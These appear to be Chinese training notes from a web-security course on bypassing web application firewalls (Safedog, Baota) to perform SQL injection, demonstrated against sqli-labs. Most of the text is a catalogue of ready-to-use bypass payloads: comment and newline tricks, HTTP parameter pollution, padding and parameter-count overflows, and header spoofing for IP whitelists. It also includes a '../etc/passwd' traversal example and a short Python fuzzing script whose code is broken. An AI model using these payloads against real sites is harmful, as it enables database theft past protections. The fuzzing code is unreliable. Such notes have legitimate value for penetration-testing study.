2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)

WEB 漏洞-WAF 绕过注入

前言

2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第1张图片

知识点

市面上常见的 waf 产品列表分析-wafw00f

​ 阿里云盾,安全狗,宝塔

部分 bypass sqlinject payload

原理:

?id= 1 union %23a%0A select 1,2,3 
其实是
union #a                         //写#闭合a,%0A换行让union select执行
select 1,2,3

安全狗匹配到union接着注释,安全狗认为句子结束
为防止安全狗继续读取下去,加上a来干扰,从而达到了绕过思路
union a select 狗子不会拦截

id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23

id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23

id=-1%20union%20/*!44509select*/%201,2,3%23

id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23id=1/**&id=-1%20union%20select%201,2,3%23*/

id=-1 %20union%20all%23%0a%20select%201,2,3%23

-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23

id=-1 union /*//--/*/     /*!--+/*%0aselect/*!1,2,3*/  --+

HTTP参数污染

2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第2张图片
参数污染举例及原理:

?id=1/**&id=-1 unio select 1,2,3 #*/ 

安全狗接受的
1/**&id=-1 unio select 1,2,3 #*/        

网站接受的(apache中get污染特性)
-1 unio select 1,2,3 #*/       执行的语句  

apche接受的是上面这个语句,#将后面的都注释掉了
安全狗接受的语句中有注释符号,起到注释作用,正常情况没法执行,安全狗直接忽略。

主要是利用参数污染来导致网站和安全狗接受数据的不一致性,实现绕过的操作

id=1%23a%&id=-1%20union%20select%201,2,3%23

fuzz大法

​ 模糊测试,类似爆破密码(一种思路)

​ 等同手工测试,只是我们写好脚本和字典批量化进行批量进行测试

import request
import time
url = 'http://1.1.1.1/sqli-labs/less2/?id=1'
for sqlin in open('uniobselect.txt')
urls = url + sqlin
result = requests.get(urls).text
if (result.find('safedog')==-1):
	print(sqlin)
time.sleep(-1)

注意点

  1. 绕过思路:提交方式->数据->其他

  2. 反序列化的格式进行绕过,注释符混用

  3. 遇WAF先手测,工具一扫就太快会被封IP

  4. 编码 %0a 换行 %23 注释#

演示案例

  • WAF 部署-安全狗,宝塔等 waf 搭建部署

  • 简要讲解安全狗,宝塔等防护 waf 策略规则

  • 简要演示安全狗 bypass sqlinject 防护规则(以sqli-labs/Less-2为例子)

    • 在安全狗开启的情况下,我们对其进行注入,发现被拦截

      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第3张图片

    • 在这里,我们尝试改变提交方式。尝试用Post方法进行,发现没被拦截,但网页显示不正常,我们可以知道网站不允许进行post方式传值

      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第4张图片

    • 我们对源代码进行修改,将提交数据方式改为request方式,让它也能够通过post接受数据,发现能够可以正常注入

      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第5张图片

      这种情况说明提交方式绕过WAF,前提是网站支持各种方式的接受(如request),我们利用post和get都可以提交,get有防护但是post没有防护的话,我们可以转化提交方式进行注入操作

    • 接着进行注入操作,发现当我们查询数据库名的时候,又被拦截了,说明安全狗拦截不仅是一方面而已

      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第6张图片

    • 通过查询安全狗的防护措施,我们可以发现有对应的规则进行防护

      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第7张图片

    • 这时候我们发现即使更改提交方式还是被拦截,接下来我们就要对数据进行处理,对数据进行变异操作后再进行注入,我们尝试使用特殊符号(其中之一)对数据进行处理

    • 绕过的关键点:绕过匹配规则,同时不干扰语句的正常执行

    • 我们将database()改成database/**/(),你会发现我们绕过了,成功获取到数据库名
      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第8张图片

    • 我们对源代码再进行修改,将提交数据方式改回get方式,需要注意到的是安全狗中get方式拦截规则更多,用相同的语句进行注入,被拦截了(查询拦截规则+自己验证知道,union select联合查询这个点触发规则被拦截了)

      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第9张图片

    • 绕过思路主要是让union和select这个不在一起即可,那我们进行特殊符号进行干扰

      2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第10张图片

  • 实测简易 CMS 头部注入漏洞 Bypass 原理分析

    • 利用安全狗没有检测http头部进行绕过操作(2020年安全狗)

    2020小迪培训(第18天WEB 漏洞-WAF 绕过注入)_第11张图片

涉及资源

https://www.cnblogs.com/backlion/p/9721687.html

https://blog.csdn.net/nzjdsds/article/details/93740686

#应用层

大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()

各种编码    
大小写,URL,hex,%0A 等

注释使用
// -- --+ # /**/ + :%00 /!**/等

再次循环
union==uunionnion

等价替换
user()=@@user() and=& or=| ascii=hex 等

参数污染
?id=1&id=2&id=3

编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等

更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data

中间件 HPP 参数污染
#数据库特性

1、Mysql 技巧
(1)mysql 注释符有三种:#、/*...*/、-- ... (注意--后面有一个空格) 
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。 
(4)内联注释:
/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540
(5)mysql 黑魔法
select{x username}from {x11 test.admin};

2、SQL Server 技巧
(1)用来注释掉注射后查询的其余部分:
	/* C 语言风格注释
	\-- SQL 注释
	; 00% 空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a 冒号
	id=1 union:select 1,2 from:admin
(4)函数变形:如 db_name[空白字符]()

3、Oracle 技巧
(1)注释符:--、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]

4.配合 FUZZ
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
#逻辑层

1、逻辑问题
(1)云 waf 防护,一般我们会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。 
(3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP没有防护,直接访问 HTTP 站点绕过防护。
(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

2、性能问题
猜想1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。

猜想2:不少 WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向量时超出了其缓冲区长度就会引发 bug,从而实现绕过。

例子1:
?id=1 and (select 1)=(Select 
0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS:0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2:
?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致SQL注入绕过。

3、白名单

方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势:

https://10.9.9.201/sql.php/admin?id=1
https://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
https://10.9.9.201/../../../manage/../sql.asp?id=2
waf通过/manage/进行比较,只要在uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd绕过防御规则

方式四:爬虫白名单
部分waf有提供爬虫表名单的功能,识别爬虫的技术一般有两种:
1、根据UserAgent 2、通过行为判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试爬过
User Agent Switch(Firefox附加组件)
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

 

最后感谢小迪师傅的视频!!

笔记来源视频:点击这里

你可能感兴趣的:(2020小迪培训,安全)